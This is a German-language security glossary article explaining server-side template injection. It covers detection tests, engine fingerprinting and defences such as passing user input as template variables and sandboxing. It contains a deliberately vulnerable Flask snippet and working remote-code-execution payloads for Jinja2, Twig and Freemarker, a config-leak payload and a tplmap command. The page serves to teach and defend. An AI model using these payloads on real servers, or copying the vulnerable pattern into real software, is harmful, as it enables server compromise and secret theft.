Zum Inhalt springen

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen
Schwachstellenklassen Glossar

Server-Side Template Injection (SSTI) - Template-Engine-Angriffe

Server-Side Template Injection tritt auf wenn Benutzereingaben direkt in Template-Engines eingefuegt werden ohne vorherige Escaping. Angreifer können Template-Syntax nutzen um serverseitigen Code auszuführen und so zu Remote Code Execution eskalieren. Betroffen: Jinja2 (Python), Twig (PHP), Freemarker (Java), Handlebars (Node.js). Erkennbar durch {{7*7}} = 49 in der Ausgabe. Schutz: Template-Rendering nur mit vertrauenswuerdigen Vorlagen.

Server-Side Template Injection (SSTI) entsteht wenn eine Webanwendung Benutzereingaben direkt in Template-Strings einfügt die dann von einer Template-Engine verarbeitet werden. Im Gegensatz zu Cross-Site-Scripting (XSS - Injection im Browser) findet SSTI serverseitig statt und ermöglicht direkte Code-Ausführung auf dem Server - eine der gefährlichsten Web-Schwachstellen überhaupt.

Das Grundprinzip

# Anfälliger Code (Python/Jinja2):
from flask import Flask, render_template_string, request
app = Flask(__name__)

@app.route('/hello')
def hello():
    name = request.args.get('name')
    # UNSICHER: User-Input direkt in Template-String!
    template = f"<h1>Hallo {name}!</h1>"
    return render_template_string(template)

Normale Nutzung:

GET /hello?name=Alice
→ Template: <h1>Hallo Alice!</h1>

SSTI-Erkennung (Schritt 1):

GET /hello?name={{7*7}}
→ Template: <h1>Hallo 49!</h1>  ← Jinja2 hat 7*7 berechnet!
→ SSTI bestätigt! (XSS würde {{7*7}} unverändert ausgeben)

Engine-Identifikation (Schritt 2):

PayloadErgebnisEngine
{{7*7}} → 49 UND {{7*'7'}}'7777777'Twig (PHP)
{{7*7}} → 49 UND {{7*'7'}} → 49Jinja2 (Python)
${7*7} → 49Freemarker (Java)
#{7*7} → 49Mako (Python)
<%= 7*7 %> → 49ERB (Ruby)

SSTI-Exploitation pro Template-Engine

Jinja2 (Python/Flask)

Erkennung: {{7*7}} → 49

Informations-Leak:

{{config}}           → Flask-Konfiguration + SECRET_KEY!
{{config.items()}}   → Alle Konfigurationswerte

RCE via Python Object-Hierarchy (konzeptuell):

  • Jinja2 ermöglicht Zugriff auf Python-Objekte via __class__, __mro__, __subclasses__() Attribute
  • Traversierung bis zu sys, os, subprocess-Modulen
  • Von dort: Betriebssystem-Befehle aufrufbar
{{cycler.__init__.__globals__.os.popen('id').read()}}
→ Gibt User/Group des Webserver-Prozesses zurück → RCE!

Twig (PHP)

Erkennung: {{7*7}} → 49 UND {{7*'7'}}'7777777'

RCE-Methode:

{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("id")}}
→ Registriert system() als Filter → Befehlsausführung

Freemarker (Java)

Erkennung: ${7*7} → 49

RCE via Execute-Klasse:

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
→ Freemarker instantiiert Execute-Klasse → OS-Befehl

ERB (Ruby on Rails)

Erkennung: <%= 7*7 %> → 49

Backtick-Syntax in ERB → Subshell-Ausführung → RCE

Handlebars (Node.js)

Erkennung: {{7}} → 7 (Handlebars escapet, schränkt aus)

  • Prototype-Pollution-Kombination nötig für RCE
  • Weniger direkt als Jinja2 oder Twig

Erkennung im Pentest

Alle Eingabefelder testen

  • GET/POST-Parameter
  • URL-Pfad-Segmente
  • HTTP-Header (User-Agent, X-Custom-Header)
  • Cookie-Werte
  • JSON-Felder
  • E-Mail-Templates (häufig vergessen!)

Mathematik-Test (Engine-agnostisch)

PayloadEngine
{{7*7}}Jinja2/Twig: 49
${7*7}Freemarker/OGNL: 49
#{7*7}Mako/EL: 49
<%= 7*7 %>ERB: 49

Kein Ergebnis (literales {{7*7}}) → kein SSTI, aber XSS prüfen!

Unterschied SSTI vs. XSS

  • XSS-Payload: <script>alert(1)</script> → Ausführung im Browser
  • SSTI-Payload: {{7*7}} → 49 serverseitig berechnet!
  • XSS und SSTI können gleichzeitig vorhanden sein

Automatisiert (tplmap)

python3 tplmap.py -u "https://target.com/hello?name=*"
# → Automatische Engine-Erkennung + Exploitation-Test
# → Wie sqlmap, aber für SSTI

Blind SSTI (keine Ausgabe sichtbar)

  • Time-Based: {{6000000*6000000}} → CPU-Spike messbar?
  • OOB: DNS-Exfiltration via Netzwerk-Requests aus Templates

E-Mail-Template-Testing

  • Viele Template-Engines für E-Mails verwendet
  • “Ihr Name: {{user_input}}” in E-Mail-Body
  • SSTI in E-Mail → RCE obwohl kein HTTP-Response zurückkommt!
  • Indikator: E-Mail zeigt berechneten Ausdruck statt Literal

Schutzmaßnahmen

Grundregel: NIEMALS User-Input in Template-Strings einfügen! User-Input als Template-Variablen übergeben!

Python (Jinja2/Flask)

# FALSCH - User-Input im Template-String:
template_str = "Hello " + user_name + "!"
return render_template_string(template_str)

# RICHTIG - User-Input als Template-Variable:
return render_template_string(
    "Hello {{ name }}!",  # Festes Template (kein User-Input!)
    name=user_name         # User-Input als sicherer Kontext-Wert
)
# Jinja2 escaped {{ name }} automatisch (HTML-Entities)!

# BESSER - Template aus Datei laden:
return render_template('hello.html', name=user_name)
# Templates in /templates/ Ordner, nur vertrauenswürdige Dateien!

PHP (Twig)

# FALSCH:
$template = $twig->createTemplate("Hello " . $user_name);

# RICHTIG:
$template = $twig->load('hello.html.twig');
echo $template->render(['name' => $user_name]);

Java (Freemarker)

// FALSCH: Template-String aus User-Input erstellen
Template t = new Template("name", new StringReader(userInput), cfg);

// RICHTIG: Template aus Datei laden
Template t = cfg.getTemplate("hello.ftl");
Map<String, Object> root = new HashMap<>();
root.put("name", userName);  // Als Variable, nicht im Template!
t.process(root, out);

Sandbox-Modus (wenn User-Templates unvermeidbar)

# Jinja2 SandboxedEnvironment:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_template)
# Eingeschränkter Namespace: kein __class__, kein __globals__
# Aber: Sandbox ist nicht unfehlbar! Escapes möglich!
// Twig Sandbox:
$policy = new SecurityPolicy($tags, $filters, $methods, $properties, $functions);
$sandbox = new SandboxExtension($policy);
$twig->addExtension($sandbox);
// Nur explizit erlaubte Tags/Filter/Methoden verwendbar

Ergänzende Maßnahmen

  • Least Privilege: Webserver nicht als root
  • WAF: bekannte SSTI-Patterns ({{, ${, <%=) filtern
  • Monitoring: Template-Engine-Fehler → SOC-Alert
  • Output-Encoding: auch bei Template-Engines aktiv prüfen
  • Code-Reviews: jedes render_template_string mit User-Input markieren

Cookielose Analyse via Matomo (selbst gehostet, kein Tracking-Cookie). Datenschutzerklärung